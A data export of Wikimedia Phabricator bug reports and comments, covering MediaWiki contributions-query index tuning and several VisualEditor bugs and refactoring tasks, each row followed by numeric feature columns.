228365,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"Bump. These queries forcing user_timestamp are running for 5+ minutes on slaves for several of the bigger WMF wikis.

Multiple identical copies running simultaneously too, presumably when clients assume slow == failure and blindly retry.

Re comment 2: Example would be good. Best to review EXPLAIN output for one forcing usertext_timestamp. It might be a completely different story.",,,1377745498,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,8,,1.0,0.0,1.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,3.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,13.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,1.0,10.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,6.0,1.0,1.0,0.0,4.685714285714286,0.8285714285714286,"Bump. These queries forcing user_timestamp are running for 5+ minutes on slaves for several of the bigger WMF wikis.

Multiple identical copies running simultaneously too, presumably when clients assume slow == failure and blindly retry.

Re comment 2: Example would be good. Best to review EXPLAIN output for one forcing usertext_timestamp. It might be a completely different story."
228358,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"(In reply to comment #0)
> The EXPLAIN without the FORCE INDEX looks worse on 5.1 without than with,
> based
> on number of rows examined, but it avoids a filesort.  It looks better
> without
> the FORCE INDEX on mariadb than mysql 5.1 with or without.  In both cases,
> rev_timestamp is used instead of user_timestamp.

	function getIndexField() {
		return 'rev_timestamp';
	}



There is also code using usertext_timestamp:

			if ( $uid ) {
				$condition['rev_user'] = $uid;
				$index = 'user_timestamp';
			} else {
				$condition['rev_user_text'] = $this->target;
				$index = 'usertext_timestamp';
			}


CREATE INDEX /*i*/user_timestamp ON /*_*/revision (rev_user,rev_timestamp);
CREATE INDEX /*i*/usertext_timestamp ON /*_*/revision (rev_user_text,rev_timestamp);


I guess we should remove the force index for that one too?",,,1362175775,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,1,False,,,-18,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,5.0,0.0,0.0,0.5,1.5,0.0,2.0,4.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,10.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.5,9.5,0.5,0.0,1.5,0.0,0.0,0.0,0.5,3.5,0.0,2.0,0.0,1.5,4.0,8.5,1.0,5.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.162202380952381,0.6221478174603174,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

	function getIndexField() {
		return 'rev_timestamp';
	}



There is also code using usertext_timestamp:

			if ( $uid ) {
				$condition['rev_user'] = $uid;
				$index = 'user_timestamp';
			} else {
				$condition['rev_user_text'] = $this->target;
				$index = 'usertext_timestamp';
			}


CREATE INDEX /*i*/user_timestamp ON /*_*/revision (rev_user,rev_timestamp);
CREATE INDEX /*i*/usertext_timestamp ON /*_*/revision (rev_user_text,rev_timestamp);


I guess we should remove the force index for that one too?"
47590,VisualEditor: 'generated' property should not be preserved when unwrapping,"When we unwrap lists, we currently preserve the internal 'generated' property on paragraphs inside those lists, but we really shouldn't. The fact that we don't currently clear this when unwrapping results in the following serious bug:

1. Create a page with the following content
Foo
Bar
* Baz
* Quux
* Whee
Yay
2. Open the page in VE
3. Select across the three list items and click the list button to unlist them
4. VE now shows five paragraphs
5. Click ""Review and save"" and observe the diff.

Expected diff: the asterisk and space before ""Baz"", ""Quux"" and ""Whee"" are removed.

Actual diff: the second line becomes ""BarBazQuuxWhee"", followed by three blank lines, then ""Yay"".

This happens because the converter unwraps paragraphs with the 'internal': { 'generated': 'wrapper' } property, even if these paragraphs now appear in a different context and even if there are multiple such paragraphs adjacent to each other.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1362090720,1363139748.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-dh3tjq2uz3nbefcu74t6,task_description,resolved,True,c1,1,False,False,True,-18,,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,6.333333333333333,0.0,0.3333333333333333,0.0,1.0,1.0,4.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,4.333333333333333,6.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,11.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.0,0.6666666666666666,8.666666666666666,2.3333333333333335,2.3333333333333335,7.0,0.0,0.0,0.0,0.0,3.0,0.3333333333333333,2.3333333333333335,0.0,1.6666666666666667,6.0,4.0,0.0,7.666666666666667,0.0,1.6666666666666667,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,3.745614035087719,0.6535087719298246,"When we unwrap lists, we currently preserve the internal 'generated' property on paragraphs inside those lists, but we really shouldn't. The fact that we don't currently clear this when unwrapping results in the following serious bug:

1. Create a page with the following content
Foo
Bar
* Baz
* Quux
* Whee
Yay
2. Open the page in VE
3. Select across the three list items and click the list button to unlist them
4. VE now shows five paragraphs
5. Click ""Review and save"" and observe the diff.

Expected diff: the asterisk and space before ""Baz"", ""Quux"" and ""Whee"" are removed.

Actual diff: the second line becomes ""BarBazQuuxWhee"", followed by three blank lines, then ""Yay"".

This happens because the converter unwraps paragraphs with the 'internal': { 'generated': 'wrapper' } property, even if these paragraphs now appear in a different context and even if there are multiple such paragraphs adjacent to each other.

--------------------------
**Version**: unspecified
**Severity**: normal"
226729,VisualEditor: 'generated' property should not be preserved when unwrapping,Code now merged.,,,1363139748,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dh3tjq2uz3nbefcu74t6,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Code now merged.
226723,VisualEditor: 'generated' property should not be preserved when unwrapping,https://gerrit.wikimedia.org/r/#/c/52046/,,,1362414620,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dh3tjq2uz3nbefcu74t6,task_subcomment,,True,c1,1,True,,,-17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
47344,VisualEditor: You cannot create pre-formatted blocks spanning multiple lines,"1. Create a document ""First line.Second line""
2. Select this text and insert a newline between the '.' and the 'S' (currently, using the Enter key).

Expected result: a single <pre> block with a single newline after the full stop, converting to "" First line.\n Second line"" in wikitext. Note that this is trivially-obvious on MW Vector due to the ""border: 1px dashed #2f6fab;"".

Actual result: two separated <pre> blocks (with a slug between them), converting to "" First line.\n\n Second line"" in wikitext.

I presume that we'll want to retain Enter as a break-me-out-of-this-context newline, and use Shift-Enter to allow insertion of the above.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1361768160,1361841038.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-iadcnxx6h6rf3uwphvzc,task_description,resolved,True,c1,1,True,False,True,-18,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,1.5,1.0,1.0,11.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,1.0,13.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.5,10.5,1.0,1.5,8.0,0.0,0.0,0.0,0.5,5.0,0.0,1.0,0.0,2.5,11.0,3.5,0.0,5.5,0.0,2.5,0.0,0.0,3.0,1.0,1.5,0.0,0.0,4.0,3.486082737487232,0.6836695607763024,"1. Create a document ""First line.Second line""
2. Select this text and insert a newline between the '.' and the 'S' (currently, using the Enter key).

Expected result: a single <pre> block with a single newline after the full stop, converting to "" First line.\n Second line"" in wikitext. Note that this is trivially-obvious on MW Vector due to the ""border: 1px dashed #2f6fab;"".

Actual result: two separated <pre> blocks (with a slug between them), converting to "" First line.\n\n Second line"" in wikitext.

I presume that we'll want to retain Enter as a break-me-out-of-this-context newline, and use Shift-Enter to allow insertion of the above.

--------------------------
**Version**: unspecified
**Severity**: normal"
213126,VisualEditor: You cannot create pre-formatted blocks spanning multiple lines,"**orbit** wrote:

Fixed here: https://gerrit.wikimedia.org/r/#/c/50862/",,,1361841038,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-iadcnxx6h6rf3uwphvzc,task_subcomment,,True,c1,1,False,,,-18,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.6666666666666666,"**orbit** wrote:

Fixed here: URL"
47295,VisualEditor: Split out MediaWiki-specific dm stuff into a separate directory,"Stuff like ve.dm.MWInternalLinkAnnotation , ve.dm.modelRegistry.registerExtensionSpecificType( /^mw:/ ), etc.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1361572320,1372875470.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-3jc7jvjjcdtgrshlnq7r,task_description,resolved,True,c1,1,False,False,True,-19,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.774193548387097,0.6451612903225806,"Stuff like ve.dm.MWInternalLinkAnnotation , ve.dm.modelRegistry.registerExtensionSpecificType( /^mw:/ ), etc.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
210401,VisualEditor: Split out MediaWiki-specific dm stuff into a separate directory,Fixed as part of a larger move in https://gerrit.wikimedia.org/r/71755,,,1372875174,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3jc7jvjjcdtgrshlnq7r,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,4.0,1.0,Fixed as part of a larger move in GERRIT_URL
210397,VisualEditor: Split out MediaWiki-specific dm stuff into a separate directory,"Roan, is this now closeable?",,,1367548264,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3jc7jvjjcdtgrshlnq7r,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,"Roan, is this now closeable?"
210394,VisualEditor: Split out MediaWiki-specific dm stuff into a separate directory,"Some more MW specific nodes:
https://gerrit.wikimedia.org/r/#/c/51621/",,,1362185032,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-3jc7jvjjcdtgrshlnq7r,task_subcomment,,True,c1,1,True,,,-18,,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.5,1.0,"Some more MW specific nodes:
URL"
47245,VisualEditor: Editing in a section causes changes elsewhere to be deleted (Parsoid selser bug?),"Changes made in screen

Issues of editing when making changes in a section of https://en.wikipedia.org/wiki/William_Francis_Magie - probably Parsoid selser issue. JDF to re-check when new Parsoid deployed.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10305}",High,80.0,1361474460,1366396637.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-lemidsivs6ktavbh7gts,task_description,resolved,True,c1,1,True,False,True,-19,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,17.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,3.783333333333333,0.6333333333333333,"Changes made in screen

Issues of editing when making changes in a section of URL - probably Parsoid selser issue. JDF to re-check when new Parsoid deployed.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10305}"
207739,VisualEditor: Editing in a section causes changes elsewhere to be deleted (Parsoid selser bug?),"This is now fixed given the Parsoid update, yay.",,,1366396637,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lemidsivs6ktavbh7gts,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,1.0,"This is now fixed given the Parsoid update, yay."
207735,VisualEditor: Editing in a section causes changes elsewhere to be deleted (Parsoid selser bug?),"Created attachment 11825
Diff coming back with only changed area

**Attached**: {F10306}",,,1361474511,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lemidsivs6ktavbh7gts,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.761904761904762,0.8571428571428571,"Created attachment 11825
Diff coming back with only changed area

**Attached**: {F10306}"
47243,VisualEditor: Create isolate method in SurfaceFragement,"The method should isolate a selection of siblings from the siblings either side of it by creating close/open tags with either side of it where necessary.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1361474340,1363280996.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-zbiughyq34hw6tacnlnj,task_description,resolved,True,c1,1,True,False,True,-19,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.25531914893617,0.6808510638297872,"The method should isolate a selection of siblings from the siblings either side of it by creating close/open tags with either side of it where necessary.

--------------------------
**Version**: unspecified
**Severity**: normal"
207620,VisualEditor: Create isolate method in SurfaceFragement,This code was merged.,,,1363280996,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zbiughyq34hw6tacnlnj,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,This code was merged.
207614,VisualEditor: Create isolate method in SurfaceFragement,https://gerrit.wikimedia.org/r/#/c/50199/,,,1361564493,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-zbiughyq34hw6tacnlnj,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
47061,VisualEditor: Remove all code related to change markers,"

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1360974360,1367527194.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-njupimbksvxhw4nnmsfy,task_description,resolved,True,c1,1,True,False,True,-20,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
222193,VisualEditor: Remove all code related to change markers,This is now merged.,,,1367527194,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-njupimbksvxhw4nnmsfy,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,This is now merged.
222184,VisualEditor: Remove all code related to change markers,Public documentation at http://www.mediawiki.org/wiki/VisualEditor/Change_markers should be deleted or marked as deprecated once this has been merged.,,,1361228878,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-njupimbksvxhw4nnmsfy,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.764705882352941,1.0,Public documentation at URL should be deleted or marked as deprecated once this has been merged.
222175,VisualEditor: Remove all code related to change markers,https://gerrit.wikimedia.org/r/#/c/49363/,,,1360975640,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-njupimbksvxhw4nnmsfy,task_subcomment,,True,c1,1,True,,,-20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
47029,VisualEditor: Support transactions on metadata,"In order to implement a category editor, we'll need to be able to process transactions on metadata.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1360890960,1360891883.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-266a7gondg6gygyomb2r,task_description,resolved,True,c1,1,False,False,True,-20,,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.078947368421052,0.7105263157894737,"In order to implement a category editor, we'll need to be able to process transactions on metadata.

--------------------------
**Version**: unspecified
**Severity**: normal"
